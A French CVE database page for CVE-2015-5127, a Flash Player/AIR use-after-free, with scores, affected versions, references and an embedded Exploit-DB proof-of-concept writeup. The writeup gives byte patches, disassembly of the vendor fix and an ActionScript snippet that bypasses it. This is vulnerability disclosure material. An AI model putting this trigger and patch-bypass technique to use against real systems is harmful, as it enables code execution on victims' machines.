CVE-2015-5127 : Détail

CVE-2015-5127

53.11%V4
Network
2015-08-13
23h00 +00:00
2018-01-04
18h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Use-after-free vulnerability in Adobe Flash Player before 18.0.0.232 on Windows and OS X and before 11.2.202.508 on Linux, Adobe AIR before 18.0.0.199, Adobe AIR SDK before 18.0.0.199, and Adobe AIR SDK & Compiler before 18.0.0.199 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-5130, CVE-2015-5134, CVE-2015-5539, CVE-2015-5540, CVE-2015-5550, CVE-2015-5551, CVE-2015-5556, CVE-2015-5557, CVE-2015-5559, CVE-2015-5561, CVE-2015-5563, CVE-2015-5564, and CVE-2015-5565.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 37861

Date de publication : 2015-08-18 22h00 +00:00
Auteur : bilou
EDB Vérifié : Yes

Source: https://code.google.com/p/google-security-research/issues/detail?id=377&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id [Deadline tracking for https://code.google.com/p/chromium/issues/detail?id=487237] Credit is to bilou, working with the Chromium Vulnerability Reward Program --- There is a use after free in Flash caused by an improper handling of BitmapData objects in the DisplacementMapFilter.mapBitmap property. This is almost a repost of Issue 457680 due to a patch failure. VERSION Chrome Version: N/A now, Flash StandAlone Debug 17.0.0.188 Operating System: [Win7 x64 SP1] REPRODUCTION CASE The AS2 mapBitmap_v2_as2.fla can be compiled with Flash CS5. Some bytes must be changed manually to trigger the issue (see below). Just put mapBitmap_v2_as2.swf in a browsable directory and run the swf with Chrome. It might crash while dereferencing 0x41424344 (hopefully, not tested yet because not available). After compiling mapBitmap_v2_as2.swf, I had to change the bytes at offset 0x92B in the (MyBitmapData constructor): 52 17 96 02 00 04 03 26 to 17 17 17 17 17 17 17 17 (actionPOP) The description is exactly the same as in Issue 457680 so I won't repost it. Here are just my comments on the patch. They basically added a marker at offset +0xDC in the flash standalone debugger (the standalone player is not available at the time of writing): .text:005AD629 loc_5AD629: .text:005AD629 lea ecx, [esi+0DCh] .text:005AD62F push edi .text:005AD630 mov [ebp+1C4h+var_198], ecx .text:005AD633 call xsetUseMarker .text:0059F762 cmp byte ptr [ecx], 0 ; is the marker present? .text:0059F765 jz short loc_59F77B .text:0059F767 cmp [esp+arg_0], 0 ; is 0 provided? .text:0059F76C jz short locret_59F77E .text:0059F76E mov ecx, dword_EE4788 ; kill the program .text:0059F774 call sub_9798C0 .text:0059F779 jmp short locret_59F77E .text:0059F77B .text:0059F77B loc_59F77B: .text:0059F77B mov byte ptr [ecx], 1 ; else set the marker .text:0059F77E .text:0059F77E locret_59F77E: .text:0059F77E retn 4 That marker is then removed when we exit the BitmapData dispatcher: .text:005AEF29 mov eax, [ebp+1C4h+var_198] ; jumptable 005AD654 default case .text:005AEF2C mov byte ptr [eax], 0 So, to trigger again the issue, we just have to put an extra call to getPixel32 for example: var o = new Object() o.valueOf = function () { bd.getPixel32(1,4) // remove the marker :) f() for (var i = 0; i<0x10;i++) { var tf:TextFormat = new TextFormat() tf.tabStops = b a[i] = tf } return 4 } bd.getPixel32(o,4) And we're done :) --- Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37861.zip

Products Mentioned

Configuraton 0

Adobe>>Flash_player >> Version To (including) 18.0.0.209

Apple>>Mac_os_x >> Version -

Microsoft>>Windows >> Version -

Configuraton 0

Adobe>>Flash_player >> Version To (including) 11.2.202.491

Linux>>Linux_kernel >> Version -

Configuraton 0

Opensuse>>Evergreen >> Version 11.4

Configuraton 0

Adobe>>Air >> Version To (including) 18.0.0.180

Adobe>>Air_sdk >> Version To (including) 18.0.0.180

Adobe>>Air_sdk_\&_compiler >> Version To (including) 18.0.0.180

Références

https://security.gentoo.org/glsa/201508-01
Tags : vendor-advisory, x_refsource_GENTOO
https://www.exploit-db.com/exploits/37861/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1033235
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/76288
Tags : vdb-entry, x_refsource_BID
http://rhn.redhat.com/errata/RHSA-2015-1603.html
Tags : vendor-advisory, x_refsource_REDHAT